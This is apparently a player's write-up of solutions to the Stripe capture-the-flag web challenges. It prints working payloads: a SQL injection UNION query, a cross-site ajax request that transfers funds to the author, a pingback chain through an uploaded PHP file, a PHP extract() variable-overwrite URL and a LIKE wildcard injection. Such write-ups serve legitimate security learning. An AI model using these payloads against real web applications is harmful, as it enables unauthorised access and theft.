Convenient Links!
Exploitation: 200 300 400 500 Networking: 100 200 300 400 Web: 400 500 Reversing: 400 500 Forensics: 200-1 200-2 500 Recon - Here Trivia - Here-- suntzu_II
Exploitation: 200 300 400 500 Networking: 100 200 300 400 Web: 400 500 Reversing: 400 500 Forensics: 200-1 200-2 500 Recon - Here Trivia - Here-- suntzu_II
pingback=https://level05-2.stripe-ctf.com/user-ufaqkqwmgp/?pingback=https://level02-4.stripe-ctf.com/user-zcwpskokgw/uploads/win.php&username=bob&password=bob
This takes the contents of the level02 pagre and puts them in the level5 request, authenticating you with the website. Another small thing to bypass was a regular expression which required the exact string to be on a separate line. The exact string also needed to be preceded by a non-word character (I used a dot). My final script that I uploaded was
<?php echo '<pre>.Authenticated.</pre>'; ?>
$.ajax({ type: 'POST', url: 'https://level04-4.stripe-ctf.com/user-xlbwayosyx/transfer', data: { 'from': 'karma_fountain', 'to': 'suntzu_II', 'amount': '100' }, success: function(msg){ alert("Winning!"); } });
bob' UNION SELECT ID, '1a7d8a297d27da26806a242253747eb89335a487b017889173cbe73e33ca2ecd', 'abcdef' from users where username='bob' --
Do not use extract() on untrusted data, like user input (i.e. $_GET, $_FILES, etc.)
It turns out that the placement in the code of this extract variable allowed you to overwrite the $filename variable with something of your own choosing by passing a GET variable called 'filename;. At this point, you just need to beat the '===', a PHP operator which compares value AND type. By realizing that file_get_contents returns false when the file does not exist and that by putting 'attempt=' in the URL $attempt gets set to false, we can get past the test and win. A URL that beat this level washttps://level01-2.stripe-ctf.com/user-mspihsgapr/?attempt=&filename=
This causes get_file_contents to return false while setting attempt to false which means that $attempt===$combination. var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
Because of the LIKE syntax, all we have to do is enter a '%' (SQL Wildcard) as the input and the server will return all of the records in the database. That's all there is too it.